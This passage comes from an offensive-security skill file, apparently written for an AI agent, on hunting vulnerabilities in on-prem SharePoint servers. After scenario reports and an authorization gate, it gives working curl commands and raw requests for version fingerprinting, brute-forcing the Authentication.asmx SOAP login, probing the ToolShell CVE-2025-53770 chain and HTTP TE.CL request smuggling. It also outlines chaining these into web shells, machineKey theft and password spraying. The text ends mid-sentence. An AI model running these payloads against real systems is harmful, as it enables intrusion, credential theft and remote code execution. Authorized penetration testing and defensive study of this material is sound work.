decoder).\n\n---\n\n## Real Impact Examples\n\n### Scenario A — a authorized SharePoint engagement against an EoL on-prem farm\n\nTarget: `https:\u002F\u002Ftarget-portal.example\u002F` — SharePoint Server 2013 build `15.0.5545.1000` (KB5002381 \u002F final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss \u003CParentCorp> importer) inside a corporate global AD (`customer.parent-corp.example`). Server hostname `WIN-XXXXXXXXXXX` (default Windows installer pattern).\n\n11 findings shipped: 3 Critical, 2 Medium, 6 Low\u002FInfo. The three Criticals:\n\n1. **Authentication.asmx anonymous credential brute-force** — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.\n2. **HTTP request smuggling TE.CL** — 5\u002F5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.\n3. **ToolShell precondition chain** — anonymous GET ToolPane.aspx (200) + anonymous POST `\u002F_api\u002Fcontextinfo` (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + `__VIEWSTATEENCRYPTED=\"\"`. Permanent zero-day on EoL SP2013.\n\nPlus Medium-tier: NTLM Type-2 disclosure of full AD topology (`customer.parent-corp.example`, `WIN-XXXXXXXXXXX`); SP2013 EoL exposure.\n\n### Scenario B — `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` recognized correctly as NOT-SSRF (saved-time example)\n\nSame target. Initial scan flagged `download.aspx?SourceUrl=http:\u002F\u002Foob.example.com\u002F` as SSRF because the server echoed the URL in the 500 error title (`\"The Web application at http:\u002F\u002Foob.example.com\u002F could not be found\"`). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS\u002FHTTP callbacks. Conclusion: `download.aspx` is an SP-internal `SPWebApplication` \u002F `SPFile` resolver, NOT a generic URL fetcher. The \"echo\" is server-side error-string formatting. Saved from reporting an N\u002FA finding by following the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n\n### Scenario C — CVE-2019-0604 patch verification via Picker.aspx\n\nSame target. Feeding `Microsoft.SharePoint.WebPartPages.DataFormWebPart` (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"` — meaning the type EXISTS and is reachable through reflection, but the dialog framework's `instanceof PickerDialog` patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.\n\n---\n\n## Cross-references\n\n- **Authentication.asmx legacy SOAP login** → see `hunt-auth-bypass` Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.\n- **NTLM Type-2 AD-topology disclosure** → see `hunt-ntlm-info` for AV-pair decoder + severity rubric.\n- **ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass** → see `hunt-aspnet`.\n- **HTTP request smuggling on AWS ELB + IIS** → see `hunt-http-smuggling`.\n- **OOB confirmation of any SSRF claim on SP** → see `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.\n- **Engagement-type confirmation before treating hygiene findings as bug-bounty submissions** → see `bb-methodology` PART 0 Mode-Confirmation Gate.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-auth-bypass`** — Legacy SOAP `\u002F_vti_bin\u002FAuthentication.asmx` accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → `hunt-auth-bypass` brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → `\u002F_layouts\u002F15\u002F` authenticated surface.\n- **`hunt-ntlm-info`** — Every SharePoint farm advertises `WWW-Authenticate: NTLM` anonymously on `\u002F_vti_bin\u002F`. Chain primitive: SharePoint NTLM Type-2 challenge capture → `hunt-ntlm-info` AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into `m365-entra-attack` ROPC user-enumeration spray on tenant tied to that domain.\n- **`hunt-aspnet`** — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → `hunt-aspnet` ViewState dual-parser MAC-bypass → deserialization gadget → RCE in `w3wp.exe` as farm account.\n- **`hunt-rce`** — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (`\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit` reachable via the CVE-2025-49706 auth bypass — a crafted `Referer` header pointing at ToolPane.aspx — + version vulnerable) → `hunt-rce` deserialization gadget chain → SYSTEM\u002Ffarm-account shell → `m365-entra-attack` lateral via stolen on-prem service-account token to Entra-synced identity.\n- **`triage-validation`** — SharePoint farms generate a lot of \"looks like a finding\" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at \"is this actually exploitable on this farm\" without a paired CVE PoC.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## Crown Jewel Targets\n\nSharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty \u002F red-team work. Three forces converge:\n\n1. **End-of-life unpatched code paths.** SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build `15.0.5545.1000` \u002F KB5002381). Every SharePoint CVE published after that date is **permanently unpatched** on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.\n2. **CVE-2025-53770 \u002F 53771 \"ToolShell\"** — July 2025 emergency-out-of-band patch chain for SPE \u002F SP2019 \u002F SP2016. The vulnerable code path (anonymous `\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit` + anonymous `__REQUESTDIGEST` + unencrypted ViewState) is present in **SP2013 too** and will never receive a fix.\n3. **Custom branded login pages forget legacy SOAP login.** `\u002F_vti_bin\u002FAuthentication.asmx` with the `Login` SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.\n\n**Highest-value SharePoint targets:**\n\n- **SP2013 farms still on the public internet** — every CVE since April 2023 is unpatched. Critical-severity findings.\n- **Dealer \u002F partner \u002F supplier portals** built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.\n- **SharePoint farms with anonymous Forms-auth zones** — Authentication.asmx becomes anonymously brute-forceable.\n- **SharePoint inside corporate AD parent forests** — NTLM Type-2 leak (see `hunt-ntlm-info`) discloses the parent forest membership.\n- **Telerik-integrated SharePoint installations** — additional deserialization sinks on top of SP's own.\n\n**Asset types that pay most:** internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.\n\n---\n\n## Attack Surface Signals\n\n**Response-header fingerprints (any one is sufficient — usually multiple co-occur):**\n```\nSPRequestGuid: \u003CGUID>                           (always — anonymous and authenticated)\nX-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)\nX-SharePointHealthScore: 0                      (SharePoint specific)\nSPIisLatency: \u003Cms>                              (SharePoint internal timing)\nSPRequestDuration: \u003Cms>                         (SharePoint request duration)\nMicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)\nX-Forms_Based_Auth_Required: \u003Clogin URL>        (Forms-auth zone indicator)\nX-Forms_Based_Auth_Return_Url: \u003Creturn URL>     (Forms-auth zone indicator)\nX-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)\nDAV: 1, 2                                       (WebDAV verbs supported)\nSet-Cookie: ASP.NET_SessionId=...               (always — IIS session)\nSet-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)\nSet-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)\n```\n\n**URL \u002F path fingerprints:**\n```\n\u002F_layouts\u002F15\u002F                  (SP2013+ layouts root — SP2010 used \u002F_layouts\u002F without the 15)\n\u002F_layouts\u002F14\u002F                  (legacy SP2010 — almost EoL since 2020-10-13)\n\u002F_layouts\u002F16\u002F                  (some SP2019 \u002F SPE)\n\u002F_vti_bin\u002F                     (FrontPage-RPC + SOAP services)\n\u002F_vti_pvt\u002F                     (FrontPage-RPC config — usually 403)\n\u002F_vti_inf.html                 (almost always anonymous; contains FPVersion banner)\n\u002F_api\u002F                         (modern REST API)\n\u002F_api\u002F$metadata                (OData metadata — often anonymous + large)\n\u002F_api\u002Fcontextinfo              (FormDigest issuer — POST only)\n\u002F_catalogs\u002F                    (site catalogs: masterpage, wp, lt, theme, solutions)\n\u002F_catalogs\u002Fusers\u002Fsimple.aspx   (user list — usually 403)\n\u002F_layouts\u002F15\u002Fstart.aspx        (anonymous landing — leaks version)\n\u002F_layouts\u002F15\u002FToolPane.aspx     (web part editor — ToolShell sink)\n\u002F_layouts\u002F15\u002FPicker.aspx       (people\u002Flist picker — SafeControl recon)\n\u002F_layouts\u002F15\u002Fdownload.aspx     (SP-internal file resolver — NOT outbound SSRF)\n\u002F_layouts\u002F15\u002FAuthenticate.aspx (forms-auth redirector)\n\u002F_layouts\u002F15\u002FSignOut.aspx      (logout)\n\u002F_layouts\u002F15\u002Ferror.aspx        (error page — anonymous)\n\u002F_layouts\u002F15\u002FAccessDenied.aspx (denied page — anonymous)\n\u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=core    (resource bundle leak)\n\u002F_layouts\u002F15\u002F\u003CCustomer>\u002F       (custom-branding modules — see Methodology step 8)\n\u002F_vti_bin\u002FAuthentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)\n\u002F_vti_bin\u002FSharedAccess.asmx    (often anon-readable)\n\u002F_vti_bin\u002Flists.asmx           (auth-required on hardened farms)\n\u002F_vti_bin\u002Fsites.asmx           (auth-required on hardened farms)\n\u002F_vti_bin\u002Fsts\u002F                 (Security Token Service — usually 302 to error)\n\u002Fsites\u002F\u003Cname>\u002F                 (site collections)\n\u002Fpersonal\u002F\u003Cuser>\u002F              (MySite \u002F OneDrive-for-Business)\n```\n\n**Body signals (in HTML responses):**\n```\n\u003Cmeta name=\"GENERATOR\" content=\"Microsoft SharePoint\" \u002F>\nRegisterSod(\"...\",\"\u002F_layouts\u002F15\u002F...\");                    (Script-on-demand registration)\nvar g_initUrl='';                                          (start.aspx MDS state)\n__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)\n__VIEWSTATEENCRYPTED=\"\"                                    (Sign-only ViewState — see hunt-aspnet)\n\"LibraryVersion\":\"15.0.X.XXXX\"                             (in _api\u002Fcontextinfo response)\nVersion:15, webPermMasks:{High:0,Low:                      (in start.aspx body)\nHelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)\n```\n\n**Tech-stack signals:**\n- `Server: Microsoft-IIS\u002F10.0` + paths starting with `\u002F_layouts\u002F15\u002F` → SharePoint 2013\u002F2016\u002F2019\u002FSE\n- AWS ELB \u002F ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)\n- `WWW-Authenticate: NTLM` on `\u002F_api\u002Fweb\u002FCurrentUser` → dual-auth (Forms + NTLM); use `hunt-ntlm-info` for AD-topology disclosure\n- `*.test.\u003Ccustomer>.tld` → test\u002Fstaging mirror of production SharePoint; data often mirrored from prod\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Fingerprint the SharePoint version.** Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.\n\n   ```bash\n   # Method 1: _vti_inf.html (always anonymous, always present)\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_vti_inf.html\"\n   # → FPVersion=\"15.00.0.000\" (15.x = SP2013, 16.x = SP2016\u002F2019\u002FSE)\n\n   # Method 2: _api\u002Fcontextinfo POST (anonymous on most farms)\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n     -H \"Accept: application\u002Fjson;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.LibraryVersion'\n   # → \"15.0.5545.1000\" (full build number)\n\n   # Method 3: \u002F_layouts\u002F15\u002Fstart.aspx body\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002Fstart.aspx\" \\\n     | grep -oE \"15\\.[0-9]+\\.[0-9]+\\.[0-9]+|16\\.[0-9]+\\.[0-9]+\\.[0-9]+\"\n   ```\n\n   **Map to CVE matrix:**\n\n   | Build | Edition | Status | Notable unpatched-after-EoL CVEs |\n   |---|---|---|---|\n   | `15.0.5545.1000` | SP2013 final CU | **EoL 2023-04-11** | CVE-2023-29357, CVE-2023-33160\u002F33157\u002F36941, CVE-2024-21318\u002F30043\u002F38023\u002F38024\u002F38094, CVE-2025-53770\u002F53771, CVE-2025-29794 |\n   | `16.0.10416.x` | SP2016 | EoL 2026-07-14 | depends on patch level |\n   | `16.0.10417.x+` | SP2019 \u002F SE | active | check Microsoft's monthly Patch Tuesday |\n\n2. **Anonymous-endpoint matrix probe.** Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.\n\n   ```\n   \u002F_vti_inf.html                                          → version disclosure\n   \u002F_layouts\u002F15\u002Fstart.aspx                                 → version disclosure + session minting\n   \u002F_layouts\u002F15\u002Fblank.htm                                  → benign anchor for smuggling probes\n   \u002F_layouts\u002F15\u002Ferror.aspx                                 → request-validator behaviour probe\n   \u002F_layouts\u002F15\u002FAuthenticate.aspx?Source=                  → redirect-chain behaviour\n   \u002F_layouts\u002F15\u002FAccessDenied.aspx?Source=                  → redirect-chain behaviour\n   \u002F_layouts\u002F15\u002FSignOut.aspx                               → logout — anonymous OK\n   \u002F_layouts\u002F15\u002FcloseConnection.aspx                       → anonymous OK\n   \u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings\n   \u002F_layouts\u002F15\u002Fscriptresx.ashx?culture=en-us&name=core    → 277KB localised strings\n   \u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)\n   \u002F_layouts\u002F15\u002FPicker.aspx                                → SafeControl recon (see step 6)\n   \u002F_layouts\u002F15\u002F\u003CCustomerName>\u002Fpages\u002Flogin\u002Fcustomlogin.aspx    → custom Forms login (replace `\u003CCustomerName>` with target's customer name)\n   \u002F_vti_bin\u002FAuthentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)\n   \u002F_vti_bin\u002FAuthentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops\n   \u002F_vti_bin\u002FSharedAccess.asmx                             → often anonymous\n   \u002F_vti_bin\u002Fspsdisco.aspx                                 → SP service discovery\n   \u002F_api\u002Fcontextinfo (POST)                                → anonymous FormDigest mint (HIGH)\n   \u002F_api\u002F$metadata                                         → 381KB API surface enumeration\n   \u002F_api\u002FSearch                                            → search service descriptor\n   \u002F_api\u002Fweb\u002FCurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)\n   ```\n\n3. **Legacy SOAP login bypass via Authentication.asmx.** Cross-reference `hunt-auth-bypass` Legacy-Protocol Matrix. The standard probe:\n\n   ```bash\n   # First: confirm Mode = Forms (else this attack vector is N\u002FA)\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_vti_bin\u002FAuthentication.asmx\" \\\n     -H \"Content-Type: text\u002Fxml; charset=utf-8\" \\\n     -H \"SOAPAction: http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002FMode\" \\\n     -d '\u003C?xml version=\"1.0\"?>\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\u003Csoap:Body>\u003CMode xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002F\" \u002F>\u003C\u002Fsoap:Body>\u003C\u002Fsoap:Envelope>'\n   # → \u003CModeResult>Forms\u003C\u002FModeResult>  ← target is exploitable\n   # → \u003CModeResult>Windows\u003C\u002FModeResult>  ← target uses Windows auth only; this vector N\u002FA\n\n   # Then: confirm no rate limit \u002F no lockout (synthetic non-existent users ONLY)\n   # Send 10 bursts at \"burst-test-synthetic-zzz\" with distinct wrong passwords\n   # If all 10 return 200 \u002F 431 bytes \u002F uniform timing → confirmed unlimited brute-force surface\n   ```\n\n   **Severity:** Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the *unbounded credential validation* is the bug, not \"I cracked X credential.\"\n\n4. **ToolShell precondition chain probe** (CVE-2025-53770 class). Three sub-requests:\n\n   ```bash\n   # Sub-step a: anonymous GET on ToolPane.aspx\n   curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\"\n   # Body should contain: __REQUESTDIGEST=\"0x...,...\"  AND  __VIEWSTATEENCRYPTED=\"\"\n   # If both: precondition stack is anonymous-reachable.\n\n   # Sub-step b: anonymous POST to \u002F_api\u002Fcontextinfo\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n     -H \"Accept: application\u002Fjson;odata=verbose\" \\\n     | jq -r '.d.GetContextWebInformation.FormDigestValue'\n   # Should return a valid digest with 1800s validity.\n\n   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest\n   curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\" \\\n     -H \"X-RequestDigest: \u003Cdigest from step b>\" \\\n     --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\"\n   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.\n   ```\n\n   **Severity:** Critical on EoL SP2013 (no patch will ever ship). High on SP2016\u002F2019\u002FSE if `__VIEWSTATEENCRYPTED` is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).\n\n   **IMPORTANT:** Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The `\u003CmachineKey>` (ValidationKey\u002FDecryptionKey) is then DUMPED by that web shell and used to forge signed `__VIEWSTATE` for persistent\u002Funauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.\n\n5. **NTLM Type-2 AD topology disclosure.** Cross-reference `hunt-ntlm-info` for full methodology. Quick check:\n\n   ```bash\n   # Use Burp send_http1_request with keep-alive, or Python raw socket\n   # Anonymous Type-1 with NetBIOS-info request flag:\n   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\n   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name\n   ```\n\n   **Severity:** Medium when chained with internet exposure + default `WIN-XXXXXXXXXXX` hostname; Informational otherwise.\n\n6. **SafeControl enumeration via Picker.aspx.** Picker.aspx differentiates two error states by class existence:\n   - Type EXISTS but not whitelisted: `\"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site.\"`\n   - Type DOES NOT exist: `\"Could not load type '\u003CClass>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'.\"`\n\n   Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` and `Microsoft.SharePoint.WebPartPages.*` types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.\n\n   ```bash\n   for cls in \\\n     \"Microsoft.SharePoint.WebControls.PeopleEditor\" \\\n     \"Microsoft.SharePoint.WebControls.ItemPicker\" \\\n     \"Microsoft.SharePoint.WebPartPages.DataFormWebPart\" \\\n     ; do\n     curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FPicker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$cls\")&typeName=System.String\" \\\n       | grep -oE \"\u003Ctitle>[^\u003C]+\u003C\u002Ftitle>\"\n   done\n   ```\n\n7. **`download.aspx` is NOT outbound SSRF — recognize and don't waste time.** SP's `\u002F_layouts\u002F15\u002Fdownload.aspx?SourceUrl=` is an **SP-internal path resolver**, not a generic URL fetcher. Behaviours:\n   - External URL (`http:\u002F\u002Fevil.example.com\u002Fx`) → 500 with `\"The Web application at \u003CURL> could not be found\"` — server tried to resolve as an SP web app, didn't fetch.\n   - Same-origin file URL → 500 with `\"\u003Cnativehr>0x81070211\u003C\u002Fnativehr>...Cannot open file '\u003Cpath>'\"` — server tried SPFile.OpenBinary, file not found.\n   - Files matching the extension blocklist (`.ashx`, `.asmx`, `.svc`, `.config`) → 500 with `\"file blocked from this Web site by the server administrators\"` regardless of whether the file exists.\n   - `file:\u002F\u002F`, UNC paths, `gopher:\u002F\u002F`, etc. → 500 with `\"Value does not fall within the expected range\"` — URL-scheme validator rejects.\n\n   **The error-message URL echo is NOT confirmation of SSRF.** Confirm via Burp Collaborator OOB before claiming. (Cross-reference `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.\n\n   The extension blocklist also looks like a \"file-existence oracle\" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.\n\n8. **Custom-branding module enumeration.** Customer-customised SP installations almost always have a `\u002F_layouts\u002F15\u002F\u003CCustomerName>\u002F` directory tree. Find the name from the login URL (e.g. `\u002F_layouts\u002F15\u002F\u003CCustomerName>\u002Fpages\u002Flogin\u002Fcustomlogin.aspx` → customer name is `\u003CCustomerName>`). Then probe:\n\n   ```bash\n   for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do\n     curl -sk -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\\n\" \\\n       \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FCustomerName\u002F$sub\u002F\"\n     # 301\u002F302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid\n   done\n   ```\n\n   JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper `Referer` header (some are referer-gated).\n\n9. **Search service probe.** `\u002F_api\u002FSearch` returns a small JSON descriptor anonymously. `\u002F_api\u002Fsearch\u002Fquery?querytext='X'` returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.\n\n10. **Authenticated post-login surfaces** (if you have valid credentials):\n    - `\u002F_api\u002Fweb\u002FLists` — enumerate lists\n    - `\u002F_api\u002Fweb\u002FSiteUsers` — enumerate users\n    - `\u002F_api\u002Fweb\u002Fgetfolderbyserverrelativeurl('\u002FShared Documents')\u002FFiles` — file enumeration\n    - `\u002F_layouts\u002F15\u002Fpeople.aspx` — user listing\n    - Custom customer-branded modules — check for IDOR, business logic\n    - Workflow Services (`\u002F_api\u002FSP.WorkflowServices.*`)\n\n---\n\n## Payload & Detection Patterns\n\n**Authentication.asmx Login (the canonical brute-force endpoint):**\n```xml\nPOST \u002F_vti_bin\u002FAuthentication.asmx HTTP\u002F1.1\nHost: target.example\nContent-Type: text\u002Fxml; charset=utf-8\nSOAPAction: http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002FLogin\nContent-Length: 376\n\n\u003C?xml version=\"1.0\" encoding=\"utf-8\"?>\n\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoap:Body>\n    \u003CLogin xmlns=\"http:\u002F\u002Fschemas.microsoft.com\u002Fsharepoint\u002Fsoap\u002F\">\n      \u003Cusername>USERNAME\u003C\u002Fusername>\n      \u003Cpassword>PASSWORD\u003C\u002Fpassword>\n    \u003C\u002FLogin>\n  \u003C\u002Fsoap:Body>\n\u003C\u002Fsoap:Envelope>\n```\nResponse codes:\n- `\u003CErrorCode>NoError\u003C\u002FErrorCode>` → auth success; `\u003CCookieName>FedAuth\u003C\u002FCookieName>` and `\u003CTimeoutSeconds>...\u003C\u002FTimeoutSeconds>` follow\n- `\u003CErrorCode>PasswordNotMatch\u003C\u002FErrorCode>` → auth fail (uniform for non-existent users too — no enum leak via error string)\n- 500 + `\u003Cfaultstring>Value cannot be null. Parameter name: userName\u003C\u002Ffaultstring>` → empty username\n\n**ToolShell precondition reproduction:**\n```bash\n# Step 1: anon GET ToolPane.aspx\nTP=$(curl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\")\necho \"$TP\" | grep -oE '__VIEWSTATEENCRYPTED\" id=\"__VIEWSTATEENCRYPTED\" value=\"[^\"]*\"'\n# If value=\"\" → precondition\n\n# Step 2: anon FormDigest\nDIGEST=$(curl -sk -X POST \"https:\u002F\u002Ftarget.example\u002F_api\u002Fcontextinfo\" \\\n  -H \"Accept: application\u002Fjson;odata=verbose\" \\\n  | jq -r '.d.GetContextWebInformation.FormDigestValue')\necho \"Digest: ${DIGEST:0:40}...\"\n\n# Step 3: anon POST ToolPane with digest\ncurl -sk -X POST -H \"X-RequestDigest: $DIGEST\" \\\n  --data \"MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none\" \\\n  \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FToolPane.aspx?DisplayMode=Edit\" \\\n  -w \"\\ncode=%{http_code} size=%{size_download}\\n\"\n```\n\n**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):\n```\nPOST \u002F_layouts\u002F15\u002Fblank.htm HTTP\u002F1.1\nHost: target.example\nContent-Length: 4\nTransfer-Encoding: chunked\n\n5c\nGPOST \u002F404 HTTP\u002F1.1\nHost: x\nContent-Length: 15\n\nx=1\n0\n\n```\nExpected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.\n\n**Picker.aspx SafeControl recon:**\n```bash\ncurl -sk \"https:\u002F\u002Ftarget.example\u002F_layouts\u002F15\u002FPicker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String\" \\\n  | grep -oE \"\u003Ctitle>[^\u003C]+\u003C\u002Ftitle>\"\n# \"Only PickerDialog types...\" = exists, not whitelisted\n# \"Could not load type...\"    = does not exist\n```\n\n---\n\n## Common Root Causes\n\n1. **`\u002F_vti_bin\u002FAuthentication.asmx` left enabled on the public-zone IIS binding.** SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.\n\n2. **`viewStateEncryption=\"Auto\"` on layouts pages.** SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have `__VIEWSTATEENCRYPTED=\"\"` — exploitable if machineKey leaks.\n\n3. **`\u002F_api\u002Fcontextinfo` POST accessible anonymously.** SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.\n\n4. **NTLM enabled on public-zone IIS binding.** Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.\n\n5. **SP2013 farms past EoL still internet-exposed.** Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).\n\n6. **`\u003CSafeControl>` whitelist in web.config trusted as the only gate.** Picker.aspx enforces an `instanceof PickerDialog` check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.\n\n7. **AWS ELB + SP IIS without explicit Transfer-Encoding normalization.** Default ELB forwards `Transfer-Encoding` to 